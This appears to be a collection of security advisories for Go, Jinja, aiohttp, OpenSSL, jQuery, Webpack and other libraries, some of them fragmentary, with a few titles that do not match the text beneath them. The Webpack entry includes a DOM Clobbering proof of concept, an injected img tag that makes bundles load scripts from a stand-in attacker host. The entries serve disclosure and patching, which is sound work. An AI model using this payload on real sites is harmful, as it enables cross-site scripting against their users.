Insufficient sanitization of Host header in net/http

Extremely large RSA keys in certificate chains can cause a client/server to expend significant CPU time verifying signatures. With fix, the size of RSA keys transmitted during handshakes is restricted to <= 8192 bits. Based on a survey of publicly trusted RSA keys, there are currently only three certificates in circulation with keys larger than this, and all three appear to be test certificates that are not actively deployed. It is possible there are larger keys in use in private PKIs, but we target the web PKI, so causing breakage here in the interests of increasing the default safety of users of crypto/tls seems reasonable.

A bug in the Jinja compiler allows an attacker that controls both the content and filename of a template to execute arbitrary Python code, regardless of if Jinja's sandbox is used.

To exploit the vulnerability, an attacker needs to control both the filename and the contents of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates where the template author can also choose the template filename.

Summary

We discovered a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

We found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack’s code is not resilient to DOM Clobbering attacks, it could lead to significant security vulnerabilities in any web application using Webpack-compiled code.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Webpack

We identified a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. When the output.publicPath field in the configuration is not set or is set to auto, the following code is generated in the bundle to dynamically resolve and load additional JavaScript files:

// / webpack/runtime/publicPath / // (() => { // var scriptUrl; // if (webpackrequire.g.importScripts) scriptUrl = webpackrequire.g.location + ""; // var document = webpackrequire.g.document; // if (!scriptUrl && document) { // if (document.currentScript) // scriptUrl = document.currentScript.src; // if (!scriptUrl) { // var scripts = document.getElementsByTagName("script"); // if(scripts.length) { // var i = scripts.length - 1; // while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src; // } // } // } // // When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration // // or pass an empty string ("") and set the webpackpublicpath variable from your code to use your own logic. // if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser"); // scriptUrl = scriptUrl.replace(/#.$/, "").replace(/\?.$/, "").replace(/\/[^\/]+$/, "/"); // webpackrequire.p = scriptUrl; // })();

However, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with document.currentScript can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the src attribute of the attacker-controlled element will be used as the scriptUrl and assigned to webpackrequire.p. If additional scripts are loaded from the server, webpackrequire.p will be used as the base URL, pointing to the attacker's domain. This could lead to arbitrary script loading from the attacker's server, resulting in severe security risks.

PoC

Please note that we have identified a real-world exploitation of this vulnerability in the Canvas LMS. Once the issue has been patched, I am willing to share more details on the exploitation. For now, I’m providing a demo to illustrate the concept.

Consider a website developer with the following two scripts, entry.js and import1.js, that are compiled using Webpack:

// entry.js import('./import1.js') .then(module => { module.hello(); }) .catch(err => { console.error('Failed to load module', err); });

// import1.js export function hello () { console.log('Hello'); }

The webpack.config.js is set up as follows: const path = require('path');

module.exports = { entry: './entry.js', // Ensure the correct path to your entry file output: { filename: 'webpack-gadgets.bundle.js', // Output bundle file path: path.resolve(dirname, 'dist'), // Output directory publicPath: "auto", // Or leave this field not set }, target: 'web', mode: 'development', };

When the developer builds these scripts into a bundle and adds it to a webpage, the page could load the import1.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html> <html> <head> <title>Webpack Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script src="./dist/webpack-gadgets.bundle.js"></script> <body> </body> </html>

Impact

This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes.

Patch

A possible patch to this vulnerability could refer to the Google Closure project which makes itself resistant to DOM Clobbering attack: https://github.com/google/closure-library/blob/b312823ec5f84239ff1db7526f4a75cba0420a33/closure/goog/base.js#L174

// / webpack/runtime/publicPath / // (() => { // var scriptUrl; // if (webpackrequire.g.importScripts) scriptUrl = webpackrequire.g.location + ""; // var document = webpackrequire.g.document; // if (!scriptUrl && document) { // if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') // Assume attacker cannot control script tag, otherwise it is XSS already :> // scriptUrl = document.currentScript.src; // if (!scriptUrl) { // var scripts = document.getElementsByTagName("script"); // if(scripts.length) { // var i = scripts.length - 1; // while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src; // } // } // } // // When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration // // or pass an empty string ("") and set the webpackpublicpath variable from your code to use your own logic. // if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser"); // scriptUrl = scriptUrl.replace(/#.$/, "").replace(/\?.$/, "").replace(/\/[^\/]+$/, "/"); // webpackrequire.p = scriptUrl; // })();

Please note that if we do not receive a response from the development team within three months, we will disclose this vulnerability to the CVE agent.

A certificate with a URI which has a IPv6 address with a zone ID may incorrectly satisfy a URI name constraint that applies to the certificate chain.

Certificates containing URIs are not permitted in the web PKI, so this only affects users of private PKIs which make use of URIs.

Summary When assert statements are bypassed, an infinite loop can occur, resulting in a DoS attack when processing a POST body.

Impact If optimisations are enabled (-O or PYTHONOPTIMIZE=1), and the application includes a handler that uses the Request.post() method, then an attacker may be able to execute a DoS attack with a specially crafted message.

------

Patch: https://github.com/aio-libs/aiohttp/commit/bc1319ec3cbff9438a758951a30907b072561259

An oversight in how the Jinja sandboxed environment detects calls to str.format allows an attacker that controls the content of a template to execute arbitrary Python code.

To exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.

Jinja's sandbox does catch calls to str.format and ensures they don't escape the sandbox. However, it's possible to store a reference to a malicious string's format method, then pass that to a filter that calls it. No such filters are built-in to Jinja, but could be present through custom filters in an application. After the fix, such indirect calls are also handled by the sandbox.

If the PATH environment variable contains paths which are executables (rather than just directories), passing certain strings to LookPath ("", ".", and ".."), can result in the binaries listed in the PATH being unexpectedly returned.

Summary A request can be crafted in such a way that an aiohttp server's memory fills up uncontrollably during processing.

Impact If an application includes a handler that uses the Request.post() method, an attacker may be able to freeze the server by exhausting the memory.

-----

Patch: https://github.com/aio-libs/aiohttp/commit/b7dbd35375aedbcd712cbae8ad513d56d11cce60

Proxy-Authorization and Proxy-Authenticate headers persisted on cross-origin redirects potentially leaking sensitive information.

A flaw was found in GnuTLS, which relies on libtasn1 for ASN.1 data processing. Due to an inefficient algorithm in libtasn1, decoding certain DER-encoded certificate data can take excessive time, leading to increased resource consumption. This flaw allows a remote attacker to send a specially crafted certificate, causing GnuTLS to become unresponsive or slow, resulting in a denial-of-service condition.

HTTP Proxy bypass using IPv6 Zone IDs in golang.org/x/net

Issue summary: A timing side-channel which could potentially allow recovering the private key exists in the ECDSA signature computation.

Impact summary: A timing side-channel in ECDSA signature computations could allow recovering the private key by an attacker. However, measuring the timing would require either local access to the signing application or a very fast network connection with low latency.

There is a timing signal of around 300 nanoseconds when the top word of the inverted ECDSA nonce value is zero. This can happen with significant probability only for some of the supported elliptic curves. In particular the NIST P-521 curve is affected. To be able to measure this leak, the attacker process must either be located in the same physical computer or must have a very fast network connection with low latency. For that reason the severity of this vulnerability is Low.

Incorrect Neutralization of Input During Web Page Generation in x/net in golang.org/x/net

Issue summary: Some non-default TLS server configurations can cause unbounded memory growth when processing TLSv1.3 sessions

Impact summary: An attacker may exploit certain server configurations to trigger unbounded memory growth that would lead to a Denial of Service

This problem can occur in TLSv1.3 if the non-default SSLOPNOTICKET option is being used (but not if earlydata support is also configured and the default anti-replay protection is in use). In this case, under certain conditions, the session cache can get into an incorrect state and it will fail to flush properly as it fills. The session cache will continue to grow in an unbounded manner. A malicious client could deliberately create the scenario for this failure to force a Denial of Service. It may also happen by accident in normal operation.

This issue only affects TLS servers supporting TLSv1.3. It does not affect TLS clients.

The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue. OpenSSL 1.0.2 is also not affected by this issue.

Jinja is an extensible templating engine. The xmlattr filter in affected versions of Jinja accepts keys containing non-attribute characters. XML/HTML attributes cannot contain spaces, /, >, or =, as each would then be interpreted as starting a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. The fix for CVE-2024-22195 only addressed spaces but not other characters. Accepting keys as user input is now explicitly considered an unintended use case of the xmlattr filter, and code that does so without otherwise validating the input should be flagged as insecure, regardless of Jinja version. Accepting values as user input continues to be safe. This vulnerability is fixed in 3.1.4.

Prism (aka PrismJS) through 1.29.0 allows DOM Clobbering (with resultant XSS for untrusted input that contains HTML but does not directly contain JavaScript), because document.currentScript lookup can be shadowed by attacker-injected HTML elements.

Mercurial configuration injectable in repo revision when installing via pip

Calling any of the Parse functions on Go source code which contains deeply nested literals can cause a panic due to stack exhaustion.

Incorrect forwarding of sensitive headers and cookies on HTTP redirect in net/http

Golang Go is vulnerable to cross-site scripting, caused by improper validation of user-supplied input by the html/template package. A remote attacker could exploit this vulnerability using a specially crafted URL to execute script in a victim's Web browser within the security context of the hosting Web site, once the URL is clicked. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials.

Excessive time spent checking DSA keys and parameters

Impact Passing HTML containing <option> elements from untrusted sources - even after sanitizing them - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code.

Patches This problem is patched in jQuery 3.5.0.

Workarounds To workaround this issue without upgrading, use DOMPurify with its SAFEFORJQUERY option to sanitize the HTML string before passing it to a jQuery method.

References https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/

For more information If you have any questions or comments about this advisory, search for a relevant issue in the jQuery repo. If you don't find an answer, open a new issue.

SSH Agent servers do not validate the size of messages when processing new identity requests, which may cause the program to panic if the message is malformed due to an out of bounds read.

IBM Concert 1.0.0 through 2.2.0 creates temporary files with predictable names, which allows local users to overwrite arbitrary files via a symlink attack.

SSH servers parsing GSSAPI authentication requests do not validate the number of mechanisms specified in the request, allowing an attacker to cause unbounded memory consumption.

A malicious HTTP sender can use chunk extensions to cause a receiver reading from a request or response body to read many more bytes from the network than are in the body. A malicious HTTP client can further exploit this to cause a server to automatically read a large amount of data (up to about 1GiB) when a handler fails to read the entire body of a request. Chunk extensions are a little-used HTTP feature which permit including additional metadata in a request or response body sent using the chunked encoding. The net/http chunked encoding reader discards this metadata. A sender can exploit this by inserting a large metadata segment with each byte transferred. The chunk reader now produces an error if the ratio of real body to encoded bytes grows too small.

Last updated 14 November 2024

Last updated 14 November 2024

Issue summary: A timing side-channel which could potentially allow remote recovery of the private key exists in the SM2 algorithm implementation on 64 bit ARM platforms.

Impact summary: A timing side-channel in SM2 signature computations on 64 bit ARM platforms could allow recovering the private key by an attacker..

While remote key recovery over a network was not attempted by the reporter, timing measurements revealed a timing signal which may allow such an attack.

OpenSSL does not directly support certificates with SM2 keys in TLS, and so this CVE is not relevant in most TLS contexts. However, given that it is possible to add support for such certificates via a custom provider, coupled with the fact that in such a custom provider context the private key may be recoverable via remote timing measurements, we consider this to be a Moderate severity issue.

The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as SM2 is not an approved algorithm.